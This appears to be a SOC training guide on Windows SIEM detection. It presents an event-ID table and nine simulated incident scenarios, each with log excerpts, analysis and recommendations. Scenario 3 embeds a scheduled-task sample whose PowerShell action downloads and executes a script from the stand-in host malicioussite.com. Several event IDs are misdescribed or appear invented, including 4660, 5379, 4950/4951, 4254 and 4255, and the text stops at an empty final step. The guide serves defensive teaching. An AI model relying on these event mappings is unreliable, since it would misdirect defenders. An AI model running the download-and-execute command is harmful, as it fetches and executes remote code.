WINDOWS SIEM USE CASES WITH SCENARIO EXAMPLES AND SIMULATIONS

BY IZZMIER IZZUDDIN

TABLE OF CONTENTS

TABLE LISTING WINDOWS EVENT IDS WITH THEIR CORRESPONDING DETAILS:

Event ID	Details
4624	Successful Login
4625	Failed Login Attempt
4634	Logoff Event
4648	Explicit Credential Use
4657	Registry Key or Value Modification
4660	Object Deletion
4663	File or Object Access Attempt
4670	Permission Change on an Object
4672	Privileged Account Usage
4673	Privilege Use Attempt
4688	Process Creation
4689	Process Termination
4697	Service Installation
4698	Scheduled Task Creation
4699	Scheduled Task Modification
4715	Audit Policy Subcategory Changes
4719	System Audit Policy Changes
4720	User Account Creation
4722	Account Enabled
4723	Password Change Attempt
4724	Password Reset

4725	**Account Disabled**
4726	**Account Deletion**
4735	**Security Group Membership Change**
4740	**Account Lockout**
4767	**Account Unlock**
4768	**Kerberos Ticket Request**
4776	**NTLM Authentication Failure**
4797	**Certificate Validation Failure**
4907	**Network Policy Changes**
4946	**Firewall Rule Added**
4947	**Firewall Rule Deleted**
5156	**Allowed Network Connection**
5157	**Blocked Network Connection**
7040	**Service Configuration Change**
7045	**New Service Installed**
1102	**Audit Log Cleared**
1116	**Windows Defender Detected Malware**
20001	**USB Device Plugged In**
20003	**USB Device Removed**
4104	**PowerShell Script Block Logging**
5136	**Active Directory Object Changes**
5140	**Access to Shared Files**
5145	**File Access over SMB**

SCENARIO EXAMPLES AND SIMULATIONS

Scenario 1: Golden Ticket Attack Detected On The Network

An MSSP (Managed Security Service Provider) received alerts about suspicious Kerberos-related activities involving the Administrator account. Upon investigating the logs, several anomalies were identified, pointing to a potential **Golden Ticket Attack**. Here's the detailed analysis:

Step 1: Log Details

Log Entry 1: Kerberos Service Ticket Request (Event ID 4769)

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4769

Level: Information

Description:

A Kerberos service ticket was requested.

- Account Information:

  User Name: Administrator

  User Domain: CONTOSO

  Logon GUID: {5a0e2db1-53b1-4e20-8c0e-6a8f5876d07f}

- Service Information:

  Service Name: krbtgt/CONTOSO.LOCAL

  Ticket Options: 0x40810010

  Ticket Encryption Type: AES256-CTS-HMAC-SHA1-96

- Network Information:

Client Address: 192.168.10.50

Client Port: 62145

- Additional Information:

Failure Code: 0x0

Transited Services: -

Ticket Granted: True

Timestamp: 2024-12-07 10:45:00

Log Entry 2: Kerberos Ticket Renewal (Event ID 4770)

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4770

Level: Information

Description:

A Kerberos ticket was renewed.

- Account Information:

User Name: Administrator

User Domain: CONTOSO

Logon GUID: {5a0e2db1-53b1-4e20-8c0e-6a8f5876d07f}

- Ticket Information:

Ticket Encryption Type: AES256-CTS-HMAC-SHA1-96

Renewal Until: 2024-12-10 23:59:59

- Network Information:

  Client Address: 192.168.10.50

  Client Port: 62145

- Additional Information:

  Status: Success

Timestamp: 2024-12-07 10:50:00

Log Entry 3: Account Authentication (Event ID 4624)

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4624

Level: Information

Description:

An account was successfully logged on.

- Account Information:

  Logon Type: 3

  User Name: Administrator

  Domain Name: CONTOSO

  Logon ID: 0x3E7

- Network Information:

  Workstation Name: Unknown

  Source Network Address: 192.168.10.50

  Source Port: 62145

Timestamp: 2024-12-07 10:51:00

Step 2: Analysis

1. Indicators of Compromise

- **Suspicious Service Ticket Request (Event ID 4769):**
    - The Administrator account requested a Kerberos service ticket for the krbtgt service.
    - The IP address 192.168.10.50 is unusual for administrative access.
    - Ticket options (0x40810010) and encryption type (AES256) suggest tampering with Kerberos tickets.
- **Abnormal Ticket Renewal (Event ID 4770):**
    - The Kerberos ticket renewal is for an unusually long duration (2024-12-10), indicative of a forged ticket.
- **Unfamiliar Logon Activity (Event ID 4624):**
    - A successful logon using the Administrator account from the same IP (192.168.10.50).
    - The logon type 3 (Network) aligns with lateral movement or remote access attempts.

2. Correlation of Logs

- **IP Address Consistency:** The same IP (192.168.10.50) appears in all logs.
- **Account Usage:** The Administrator account, paired with Kerberos ticket requests, is a hallmark of a Golden Ticket attack.
- **Timing:** Events occur within a 10-minute window, showing a clear sequence of malicious activities.

3. Attack Objective

- **Privilege Escalation:** The attacker is leveraging the forged Kerberos ticket to impersonate the Administratoraccount.

- **Lateral Movement:** The network logon indicates the attacker is likely moving laterally within the environment.

Step 3: Recommendations

1. Immediate Actions

- **Isolate the Source IP:** Quarantine the system at 192.168.10.50 to prevent further access.
- **Reset the krbtgt Password:** Perform a double password reset for the krbtgt account to invalidate forged tickets.
- **Review Active Sessions:** Identify and terminate all active sessions for the Administrator account.

2. Forensic Investigation

- **Inspect the Source Machine:** Analyse 192.168.10.50 for malware, persistence mechanisms or further artefacts.
- **Correlate with Other Logs:** Examine domain controller logs and network traffic for additional anomalies.

3. Strengthen Defences

- **Enable Enhanced Logging:** Use Sysmon and advanced logging policies to capture detailed event data.
- **Monitor Privileged Accounts:** Implement continuous monitoring of accounts like Administrator.
- **Deploy Threat Hunting:** Actively hunt for similar Kerberos-related activities in the environment.

Scenario 2: Failed Attempt To Modify Group Policy Object

A security team noticed alerts related to unauthorised attempts to modify a **Group Policy Object (GPO)**. Upon investigation, Event ID **5136** logs revealed suspicious activities.

Step 1: Log Details

Log Entry 1: Directory Service Change (Event ID 5136)

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 5136

Level: Information

Description:

A directory service object was modified.

- Subject:

Security ID: S-1-5-21-3623811015-3361044348-30300820-1001

Account Name: MaliciousUser

Account Domain: CONTOSO

Logon ID: 0x1FD8A

- Object:

Object Server: DS

Object Type: groupPolicyContainer

Object Name: CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=contoso,DC=local

Handle ID: 0x0

- Operation:

Attribute Name: gPCMachineExtensionNames

Attribute Value: (Modified Value)

Old Attribute Value: (Original Value)

Operation Type: Attempted Write

- Network Information:

Client Address: 192.168.20.45

Client Port: 54870

- Status: Access Denied

Timestamp: 2024-12-07 14:10:00

Step 2: Analysis

1. Indicators of Compromise

- **Unauthorised User:** The account MaliciousUser attempted to modify a GPO.
- **Critical Attribute Targeted:** The gPCMachineExtensionNames attribute, often used to define machine settings in GPO, was targeted for modification.
- **Access Denied:** The modification failed, likely due to insufficient permissions, which triggered the alert.

2. Correlation of Logs

- **Network Information:** The client IP address 192.168.20.45 is linked to the activity. This system should be investigated further.
- **Object Details:** The targeted GPO ({31B2F340-016D-11D2-945F-00C04FB984F9}) is associated with Default Domain Policy, making it a high-value target.

3. Attack Objective

- **Potential Intent:** If successful, modifying the GPO could allow attackers to inject malicious scripts, distribute malware or escalate privileges across the domain.
- **Recon or Exploit Attempt:** This may be part of a broader attack, including reconnaissance or exploitation efforts.

Step 3: Recommendations

1. Immediate Actions

- **Verify MaliciousUser Activity:** Check recent activity for this account and verify if it was compromised.
- **Investigate Source System:** Analyse 192.168.20.45 for malicious software, unauthorised tools or evidence of compromise.
- **Audit GPO Settings:** Review all GPOs for unauthorised changes or suspicious configurations.

2. Forensic Investigation

- **Correlate with Other Logs:** Check domain controller logs (Event IDs 4670 and 4625) for additional attempts or failed authentications.
- **Analyse Network Traffic:** Look for unusual communications from 192.168.20.45.
- **Review User Privileges:** Ensure MaliciousUser has the appropriate access level for their role.

3. Strengthen Defences

- **Enable GPO Change Auditing:** Ensure all GPO modifications are logged and monitored.
- **Implement Just-In-Time Access:** Restrict administrative access to sensitive objects like GPOs.
- **Deploy Group Policy Protection:** Use Active Directory delegation and Advanced Group Policy Management (AGPM) for controlled GPO edits.

Scenario 3: Suspicious Scheduled Task Creation

The security team detected the creation of a scheduled task through a Windows Event ID **4698**, potentially linked to unauthorised activity on a critical server. This activity might be indicative of malware persistence or lateral movement.

Step 1: Log Details

Log Entry: Scheduled Task Creation (Event ID 4698)

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4698

Level: Information

Description:

A scheduled task was created.

- Subject:

Security ID: S-1-5-21-3623811015-3361044348-30300820-1002

Account Name: MaliciousAdmin

Account Domain: CONTOSO

Logon ID: 0x5FD9C

- Task Information:

Task Name: \CriticalUpdateTask

Task Content:

<?xml version="1.0" encoding="UTF-16"?>

<Task version="1.2">

<RegistrationInfo>

<Author>MaliciousAdmin</Author>

```
    </RegistrationInfo>
    <Triggers>
     <LogonTrigger>
      <Enabled>true</Enabled>
     </LogonTrigger>
    </Triggers>
    <Actions>
     <Exec>
      <Command>powershell.exe</Command>
      <Arguments>-c "Invoke-WebRequest -Uri http://malicioussite.com/payload.ps1 -
OutFile C:\Temp\payload.ps1; Invoke-Expression -Command
C:\Temp\payload.ps1"</Arguments>
     </Exec>
    </Actions>
   </Task>
```

- Network Information:

  Client Address: 192.168.30.70

  Client Port: 50123

Timestamp: 2024-12-07 15:30:00

Step 2: Analysis

1. Indicators of Compromise

- **Suspicious Task Name:** The task CriticalUpdateTask appears legitimate but is not part of regular operations.

- **Malicious Payload:** The Action field shows a PowerShell command downloading a script from an external domain (http://malicioussite.com).
- **User Account:** The account MaliciousAdmin was used, suggesting compromised credentials.
- **Network Location:** The activity originated from 192.168.30.70, which needs further investigation.

2. Correlation of Logs

- **Event ID 4698:** Scheduled task creation with malicious intent.
- **Event ID 4104 (PowerShell):** Check for signs of PowerShell execution on the system.
- **Event ID 4624 (Logon):** Correlate logon events to identify if MaliciousAdmin was used in unauthorised sessions.

3. Attack Objective

- **Persistence:** Scheduled tasks are commonly used by attackers to maintain access.
- **Payload Execution:** The task ensures the malicious script is downloaded and executed whenever a user logs on.

Step 3: Recommendations

1. Immediate Actions

- **Quarantine the Source System:** Isolate 192.168.30.70 to prevent further activity.
- **Remove the Task:** Delete the CriticalUpdateTask scheduled task from the system.
- **Check Active Tasks:** Audit all scheduled tasks for unauthorised entries.

2. Forensic Investigation

- **Analyse the Payload:** Retrieve and sandbox the script from http://malicioussite.com.
- **Inspect User Activity:** Review MaliciousAdmin account activity for signs of compromise.
- **Check for Network Traffic:** Look for outbound connections to malicioussite.com and block them.

3. Strengthen Defences

- **Restrict PowerShell Usage:** Limit PowerShell execution to authorised users and enforce script block logging.
- **Monitor Scheduled Task Events:** Set alerts for Event ID 4698 to detect suspicious task creation in real-time.
- **Implement Principle of Least Privilege:** Ensure admin accounts are used only when necessary.

Scenario 4: Suspicious Network Configuration Changes Detected

A critical server in the network flagged multiple alerts related to unauthorised changes in network configuration. Event IDs **4254**, **4255** and **10400** were logged, indicating a possible attempt to tamper with network settings, potentially to enable lateral movement or exfiltration.

Step 1: Log Details

Log Entry 1: Network Policy Configuration Change (Event ID 4254)

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4254

Level: Information

Description:

A Network Policy was added.

- Subject:

  Security ID: S-1-5-21-3623811015-3361044348-30300820-1003

  Account Name: MaliciousAdmin

  Account Domain: CONTOSO

  Logon ID: 0x1FD3A

- Network Policy Information:

  Policy Name: MaliciousPolicy

  Policy Description: Allows unrestricted access to subnet 192.168.40.0/24

  Policy Type: Access Control

- Network Information:

Client Address: 192.168.50.80

Client Port: 50432

Timestamp: 2024-12-07 16:45:00

Log Entry 2: Router Configuration Change (Event ID 4255)

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4255

Level: Information

Description:

A router configuration was modified.

- Subject:

Security ID: S-1-5-21-3623811015-3361044348-30300820-1003

Account Name: MaliciousAdmin

Account Domain: CONTOSO

Logon ID: 0x1FD3A

- Modified Router Configuration:

Old Route: 0.0.0.0 -> 192.168.1.1

New Route: 0.0.0.0 -> 203.0.113.10

- Network Information:

Client Address: 192.168.50.80

Client Port: 50432

Timestamp: 2024-12-07 16:50:00

Log Entry 3: Network Adapter Configuration Change (Event ID 10400)

Log Name: Microsoft-Windows-NetworkProfile/Operational

Source: Microsoft-Windows-NetworkProfile

Event ID: 10400

Level: Information

Description:

Network connection profile changed.

- Network Adapter Information:

  Adapter Name: Ethernet0

  Adapter ID: {D4A2A9E0-8B44-43C1-8E3E-AE0F54F94F32}

  Old Profile: Private Network

  New Profile: Public Network

- Subject:

  Security ID: S-1-5-21-3623811015-3361044348-30300820-1003

  Account Name: MaliciousAdmin

- Network Information:

  IP Address: 192.168.50.80

  Subnet Mask: 255.255.255.0

Timestamp: 2024-12-07 17:00:00

Step 2: Analysis

1. Indicators of Compromise

- **Policy Addition (4254):** An unauthorised policy was added, granting unrestricted access to a subnet.
- **Routing Change (4255):** The default route was redirected to 203.0.113.10, possibly for traffic interception or data exfiltration.
- **Network Profile Change (10400):** The network adapter was switched to a public profile, reducing security protections.

2. Correlation of Logs

- **Account Used:** The MaliciousAdmin account was used for all changes, indicating a potential compromise of privileged credentials.
- **Source System:** All actions originated from the same system (192.168.50.80), requiring immediate isolation.

3. Attack Objective

- **Exfiltration or Lateral Movement:** By adding policies and changing routes, the attacker might be enabling unauthorised data access or lateral movement.
- **Security Evasion:** Changing the network adapter profile to public weakens firewall protections, making the system more vulnerable to external attacks.

Step 3: Recommendations

1. Immediate Actions

- **Isolate the Source System:** Disconnect 192.168.50.80 from the network to prevent further damage.
- **Revert Configuration Changes:** Undo the route modification and delete the malicious network policy.
- **Investigate the User Account:** Disable MaliciousAdmin and check for other accounts with similar suspicious activity.

2. Forensic Investigation

- **Audit Privileged Access:** Review logon activity for MaliciousAdmin to identify unauthorised access.
- **Analyse Network Traffic:** Look for connections to 203.0.113.10 and block the IP at the firewall.
- **Inspect Source System:** Check for malware or tools used to make the changes, such as netsh or PowerShell scripts.

3. Strengthen Defences

- **Restrict Routing Configuration Access:** Limit route and network policy changes to specific administrative users.
- **Monitor Network Changes:** Set alerts for Event IDs 4254, 4255 and 10400.
- **Enhance Network Segmentation:** Isolate critical systems to prevent lateral movement.

Scenario 5: Suspicious Disabled Account Activity Detected

A disabled user account was flagged by a security monitoring system based on Event ID **4725**. This could indicate an attempt by a malicious actor to disable critical accounts, potentially disrupting normal operations or hiding their tracks during an attack.

Step 1: Log Details

Log Entry: Account Disabled (Event ID 4725)

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4725

Level: Information

Description:

An account was disabled.

- Subject:

  Security ID: S-1-5-21-3623811015-3361044348-30300820-1001

  Account Name: AdminUser

  Account Domain: CONTOSO

  Logon ID: 0x15B3F

- Target Account:

  Security ID: S-1-5-21-3623811015-3361044348-30300820-1040

  Account Name: BackupOperator

  Account Domain: CONTOSO

- Additional Information:

  Workstation Name: CONTOSO-SERVER1

Caller Process ID: 0x738

Timestamp: 2024-12-07 18:15:00

Step 2: Analysis

1. Indicators of Compromise

- **Disabled Account:** The BackupOperator account is a high-value target due to its privileged role in managing backups.
- **Initiator Account:** The action was performed using AdminUser, suggesting possible misuse of privileged credentials.
- **Workstation Involved:** The action originated from CONTOSO-SERVER1, which requires further investigation.

2. Correlation of Logs

- **Event ID 4624 (Logon):** Look for recent logon activity for AdminUser to confirm whether the session was authorised.
- **Event ID 4724 (Password Reset):** Check if the disabled account was subject to a password reset attempt.
- **Event ID 5145 (Access Attempt):** Search for file or folder access logs related to backup files by other accounts.

3. Attack Objective

- **Disruption:** Disabling BackupOperator could disrupt regular backup activities.
- **Cover-Up:** Attackers might disable accounts to prevent administrators from detecting malicious activities.

Step 3: Recommendations

1. Immediate Actions

- **Verify the Action:** Contact the administrator or team responsible for managing accounts to confirm if this was intentional.
- **Enable the Account:** If unauthorised, re-enable the BackupOperator account immediately.

- **Audit Privileged Accounts:** Check for suspicious activity or unauthorised access involving AdminUser.

2. Forensic Investigation

- **Review Login History:** Check logon events (4624) on CONTOSO-SERVER1 for unauthorised sessions.
- **Inspect Caller Process:** Investigate the process ID 0x738 to determine the method used to disable the account.
- **Analyse Network Traffic:** Monitor CONTOSO-SERVER1 for any abnormal connections or data transfers.

3. Strengthen Defences

- **Privileged Access Monitoring:** Implement alerts for privileged account actions, including account disablement (4725).
- **Role-Based Access Control:** Limit the ability to disable accounts to a smaller group of administrators.
- **Enable MFA:** Protect privileged accounts like AdminUser with multi-factor authentication.

Scenario 6: Suspicious Account Activity On Domain Controller Detected

Security monitoring has flagged multiple events indicating unusual activity involving privileged accounts on the domain controller. Event IDs **4624** (Logon) and **4672** (Special Privileges Assigned) were triggered, suggesting the potential misuse of elevated permissions or an unauthorised logon attempt.

Step 1: Log Details

Log Entry 1: Successful Logon (Event ID 4624)

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4624

Level: Information

Description:

An account successfully logged on.

- Subject:

  Security ID: S-1-5-21-3623811015-3361044348-30300820-500

  Account Name: Administrator

  Account Domain: CONTOSO

  Logon ID: 0x1FD3A

- Logon Information:

  Logon Type: 10 (Remote Interactive)

  Workstation Name: MALICIOUS-PC

  Source Network Address: 192.168.50.100

  Source Port: 50234

- Additional Information:

  Impersonation Level: Impersonation

Timestamp: 2024-12-07 19:30:00

Log Entry 2: Special Privileges Assigned (Event ID 4672)

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4672

Level: Information

Description:

Special privileges assigned to a new logon.

- Subject:

  Security ID: S-1-5-21-3623811015-3361044348-30300820-500

  Account Name: Administrator

  Account Domain: CONTOSO

  Logon ID: 0x1FD3A

- Privileges Assigned:

  SeBackupPrivilege

  SeDebugPrivilege

  SeTakeOwnershipPrivilege

  SeShutdownPrivilege

- Network Information:

Source Address: 192.168.50.100

Source Port: 50234

Timestamp: 2024-12-07 19:31:00

Step 2: Analysis

1. Indicators of Compromise

- **Remote Logon (Type 10):** Indicates a remote desktop connection attempt, often linked to administrative tasks or potential malicious activity.
- **Source System:** Logon originated from an unusual machine (MALICIOUS-PC) with IP 192.168.50.100, which is not part of the administrative network.
- **Special Privileges:** The assignment of privileges such as SeDebugPrivilege and SeTakeOwnershipPrivilege is abnormal and could indicate preparation for malicious activities like process injection or file manipulation.

2. Correlation of Logs

- **Event ID 4624 (Logon):** Successful logon detected using the domain administrator account.
- **Event ID 4672 (Privileges):** Privileges granted immediately after the logon, confirming administrative intent or compromise.
- **Additional Logs:** Cross-reference with Event IDs 4720 (New Account Creation) and 4738 (Account Modification) to check for further suspicious account activities.

3. Attack Objective

- **Privilege Escalation:** The attacker might be leveraging the administrator account to gain full control over the domain.
- **Persistence or Reconnaissance:** The unusual source and assigned privileges suggest intent to access sensitive data or maintain control.

Step 3: Recommendations

1. Immediate Actions

- **Block Source System:** Disconnect MALICIOUS-PC (192.168.50.100) from the network immediately.
- **Revoke Privileges:** Disable the Administrator account temporarily to stop further abuse.
- **Alert the SOC Team:** Escalate the incident to senior analysts and initiate an incident response.

2. Forensic Investigation

- **Analyse Source System:** Examine MALICIOUS-PC for malware, tools or indicators of compromise (Mimikatz).
- **Review Recent Activities:** Check for file access, lateral movement or privilege escalation linked to this logon session.
- **Monitor Account Usage:** Look for unusual activities by the Administrator account in the past 24–48 hours.

3. Strengthen Defences

- **Implement MFA:** Require multi-factor authentication for all privileged accounts.
- **Restrict Remote Logons:** Allow remote access only from whitelisted devices and IP addresses.
- **Monitor High-Privilege Accounts:** Set up real-time alerts for Event IDs 4672 and 4624 when linked to administrative accounts.

Scenario 7: Suspicious Windows Firewall Changes Detected

Security monitoring has flagged multiple events indicating modifications to the Windows Firewall configuration on a critical server. Event IDs **4946**, **4947**, **4950** and **4951** were logged, suggesting possible attempts to bypass security controls or create unauthorised network access.

Step 1: Log Details

Log Entry 1: Firewall Rule Added (Event ID 4946)

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4946

Level: Information

Description:

A change has been made to Windows Firewall exception list.

- Subject:

  Security ID: S-1-5-21-3623811015-3361044348-30300820-501

  Account Name: AdminUser

  Account Domain: CONTOSO

  Logon ID: 0x123456

- Firewall Rule Information:

  Rule Name: Allow RDP

  Action: Allow

  Application: %SystemRoot%\System32\svchost.exe

  Protocol: TCP

  Local Ports: 3389

Remote Ports: Any

Scope: Any

Enabled: Yes

Timestamp: 2024-12-07 20:15:00

Log Entry 2: Firewall Rule Deleted (Event ID 4947)

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4947

Level: Information

Description:

A change has been made to Windows Firewall exception list.

- Subject:

Security ID: S-1-5-21-3623811015-3361044348-30300820-501

Account Name: AdminUser

Account Domain: CONTOSO

Logon ID: 0x123456

- Firewall Rule Information:

Rule Name: Block FTP Traffic

Action: Block

Application: %SystemRoot%\System32\ftpsvc.exe

Protocol: TCP

Local Ports: 21

Remote Ports: Any

Scope: Any

Enabled: No

Timestamp: 2024-12-07 20:18:00

Log Entry 3: Firewall Service Stopped (Event ID 4950)

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4950

Level: Information

Description:

Windows Firewall has been disabled.

- Subject:

Security ID: S-1-5-21-3623811015-3361044348-30300820-501

Account Name: AdminUser

Account Domain: CONTOSO

Logon ID: 0x123456

Timestamp: 2024-12-07 20:20:00

Log Entry 4: Firewall Service Started (Event ID 4951)

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4951

Level: Information

Description:

Windows Firewall has been enabled.

- Subject:

Security ID: S-1-5-21-3623811015-3361044348-30300820-501

Account Name: AdminUser

Account Domain: CONTOSO

Logon ID: 0x123456

Timestamp: 2024-12-07 20:25:00

Step 2: Analysis

1. Indicators of Compromise

- **Addition of RDP Rule (Event ID 4946):** A firewall rule to allow RDP access (Port 3389) from any remote source is suspicious, especially on critical systems.
- **Removal of Block Rule (Event ID 4947):** The deletion of a block rule for FTP traffic raises concerns about attempts to exfiltrate data.
- **Disabling Firewall Service (Event ID 4950):** Temporarily disabling the firewall may indicate an attempt to bypass network restrictions.
- **Enabling Firewall Service (Event ID 4951):** Re-enabling the firewall may have been done to avoid detection.

2. Correlation of Logs

- **Review User Logon (Event ID 4624):** Check for recent logon activity by AdminUser to confirm if the actions were authorised.
- **Network Traffic Monitoring:** Analyse traffic patterns during the timeframe when the firewall was disabled.

- **Other Firewall Events:** Look for additional Event IDs (5031, 5156) to identify blocked or allowed connections.

3. Attack Objective

- **Create a Backdoor:** Allowing RDP traffic from any remote source could enable persistent remote access for attackers.
- **Data Exfiltration:** Removing FTP blocks may facilitate unauthorised data transfers.
- **Evasion:** Temporarily disabling the firewall can allow malicious activities to occur without restriction.

Step 3: Recommendations

1. Immediate Actions

- **Audit Firewall Rules:** Review all active firewall rules and disable unauthorised ones.
- **Reinstate Block Rule:** Reapply the block for FTP traffic to prevent potential data exfiltration.
- **Isolate the System:** Disconnect the affected system from the network to prevent further misuse.

2. Forensic Investigation

- **Inspect Source Account:** Investigate AdminUser for unusual activity or compromise.
- **Analyse Network Traffic:** Examine logs for suspicious connections over RDP (Port 3389) and FTP (Port 21).
- **Investigate Process Activity:** Check processes linked to %SystemRoot%\System32\svchost.exe and %SystemRoot%\System32\ftpsvc.exe.

3. Strengthen Defences

- **Restrict Rule Modifications:** Limit firewall configuration access to a select group of administrators.
- **Enable Logging:** Ensure all changes to Windows Firewall are logged and monitored.

- **Deploy Endpoint Protection:** Use tools that detect and block unauthorised firewall changes in real time.

Scenario 8: Monitoring BitLocker Encryption Key Changes

The SIEM system has triggered alerts related to BitLocker encryption key modifications on a sensitive workstation. Event ID **5379** is repeatedly logged, indicating possible tampering or legitimate reconfiguration of encryption keys.

Step 1: Log Details

Log Entry 1: BitLocker Encryption Key Modified

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 5379

Level: Information

Description:

A BitLocker key protector operation was performed.

- Subject:

Security ID: S-1-5-21-345678987-1234567890-1122334455-501

Account Name: IzzmierAdmin

Account Domain: CONTOSO

Logon ID: 0x1a2b3c

- Key Protector Details:

Volume: C:

Protector Type: Recovery Password

Protector GUID: {abc12345-6789-def0-1234-56789abcdef0}

Action: Added

- Additional Information:

Recovery Password: **Hidden for security reasons**

Timestamp: 2024-12-07 15:30:00

Log Entry 2: BitLocker Key Protector Removed

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 5379

Level: Information

Description:

A BitLocker key protector operation was performed.

- Subject:

Security ID: S-1-5-21-345678987-1234567890-1122334455-501

Account Name: IzzmierAdmin

Account Domain: CONTOSO

Logon ID: 0x1a2b3c

- Key Protector Details:

Volume: C:

Protector Type: TPM and PIN

Protector GUID: {12345abc-6789-0def-1234-56789abcdef0}

Action: Removed

Timestamp: 2024-12-07 15:35:00

Step 2: Analysis

1. Indicators of Concern

- **Addition of Recovery Password Protector:** The recovery password method was added to the BitLocker-protected volume, which is a common attack vector for bypassing encryption.
- **Removal of TPM and PIN Protector:** The TPM (Trusted Platform Module) and PIN method, a more secure configuration, was removed. This change weakens the encryption key protection.

2. User Context

- The actions were performed under the account IzzmierAdmin. Validate if the user has legitimate access and whether the changes align with administrative policies.

3. Correlation with Other Logs

- **Logon Events (4624):** Check logon activity for IzzmierAdmin to identify the source device and session details.
- **Audit Policy Change Events (4719):** Look for changes to BitLocker policies or auditing rules.
- **Network Traffic Monitoring:** Monitor for potential exfiltration of encryption keys or BitLocker recovery passwords.

4. Potential Risks

- **Malicious Actor Activity:** If the account is compromised, the attacker could gain full access to encrypted data.
- **Human Error:** An administrator might have mistakenly weakened encryption settings during maintenance.

Step 3: Recommendations

1. Immediate Actions

- **Verify User Intent:** Contact IzzmierAdmin to confirm if the actions were authorised.
- **Reinforce Key Protectors:** Reapply the TPM and PIN method to restore a secure configuration.
- **Audit Recovery Password Usage:** Ensure the recovery password has not been used or shared.

2. Investigative Steps

- **Inspect Login History:** Review Event ID **4624** to check for unusual logon patterns for IzzmierAdmin.
- **Correlate with Other Alerts:** Check for related activities such as file access or process creation on the system.
- **Check System Integrity:** Validate the machine's integrity using tools like Microsoft Defender for Endpoint.

3. Strengthen Policies

- **Restrict Key Changes:** Limit BitLocker key modification privileges to specific administrators.
- **Enable Alerts:** Configure SIEM to trigger high-severity alerts for BitLocker changes on critical systems.
- **Regular Audits:** Periodically audit all BitLocker-protected systems to identify potential misconfigurations.

Step 4: Monitoring the Aftermath

- **Reconfigure BitLocker:** Ensure the volume is secured with a robust protector such as TPM and PIN.
- **Continuous Monitoring:** Maintain close watch over the affected system for additional suspicious activities.

Scenario 9: Monitoring Locked File Deletion Attempts

The SIEM system has detected suspicious file deletion activity on a file server. Event ID **4660** is logged, indicating that an attempt was made to delete a file that was currently locked. Such activity is often linked to malware or unauthorised user actions attempting to alter critical system files. This could be a potential sign of a system compromise, so immediate investigation is necessary.

Step 1: Log Details

Log Entry 1: File Deletion Attempt on Locked File

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4660

Level: Warning

Description:

An attempt was made to delete a file that is currently locked or in use.

- Subject:

Security ID: S-1-5-21-2345678910-1234567890-1122334455-1001

Account Name: UserA

Account Domain: CONTOSO

Logon ID: 0x1a2b3c

- Object Details:

Object Type: File

Object Name: C:\Program Files\CriticalApp\important.dll

Access Mask: 0x1 (DELETE)

Access Attempted: DELETE

- Additional Information:

File Status: Locked (In Use)

Timestamp: 2024-12-07 16:15:00

Log Entry 2: File Deletion Attempt on Locked File (Different File)

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4660

Level: Warning

Description:

An attempt was made to delete a file that is currently locked or in use.

- Subject:

Security ID: S-1-5-21-2345678910-1234567890-1122334455-1001

Account Name: UserA

Account Domain: CONTOSO

Logon ID: 0x1a2b3c

- Object Details:

Object Type: File

Object Name: C:\Windows\System32\msvcr.dll

Access Mask: 0x1 (DELETE)

Access Attempted: DELETE

- Additional Information:

File Status: Locked (In Use)

Timestamp: 2024-12-07 16:17:00

Step 2: Analysis

1. Indicators of Concern

- **File Deletion Attempt:** The user UserA attempted to delete system or application files that were locked or in use, which is an unusual action. Critical files like important.dll and msvcr.dll are associated with important applications and attempting to delete them could lead to system instability.
- **Locked Files:** These files are typically protected from being deleted while in use and the fact that deletion attempts are being made on locked files indicates a potential problem.

2. User Context

- The action was performed by **UserA**, which is an administrative user. Verify if this user had the right intentions for these deletions (performing maintenance, troubleshooting, etc.).
- **Logon ID:** The repeated use of the same logon ID suggests the same session, which indicates that this activity may have been part of a single malicious attempt or error by the user.

3. Correlation with Other Logs

- **Logon Events (4624):** Check logon activity for UserA to verify the source device and any signs of abnormal activity.
- **Object Access (4663):** Look for other file access attempts around the same time to see if there were attempts to read or modify other critical files.
- **Process Creation (4688):** Check for processes initiated by UserA to understand if they were associated with the deletion attempts.

4. Potential Risks

- **Malicious Activity:** The deletion of critical system files could be a sign of malware or a targeted attack, especially if these files are part of a known application that the attacker is trying to sabotage.
- **Accidental Misconfiguration:** The user may have mistakenly attempted to delete files due to a misconfiguration or during troubleshooting, especially if done in the context of legitimate software maintenance.

Step 3: Recommendations

1. Immediate Actions

- **Verify User Intent:** Contact UserA to confirm whether this was intentional (part of scheduled maintenance or troubleshooting).
- **Restore Files:** If these files are indeed critical to the system, initiate a restoration process to recover them, using backup copies if necessary.
- **Quarantine the System:** If the deletion attempts were malicious, isolate the affected system to prevent further damage and ensure that no other files have been affected.

2. Investigative Steps

- **Review File Access Logs:** Check **Event ID 4663** logs to identify whether there were any other unauthorised file accesses before or after the deletion attempts.
- **Correlate with Process Logs:** Review **Event ID 4688** to investigate which processes were running during these file deletion attempts. Malicious processes could have been involved.
- **Examine Network Traffic:** Monitor for suspicious outbound traffic, especially if the attacker is trying to exfiltrate data from the compromised system.

3. Strengthen Security Measures

- **Restrict File Deletion Permissions:** Limit the permissions to delete sensitive system files to only authorised administrators.
- **Enable More Frequent Auditing:** Set up more detailed auditing for file operations, especially on critical files, to catch suspicious activities early.

- **Enhance Endpoint Protection:** Ensure that endpoint protection software is up-to-date and has the capability to block or alert on unusual file operations, especially deletions of critical system files.

Step 4: Monitoring the Aftermath

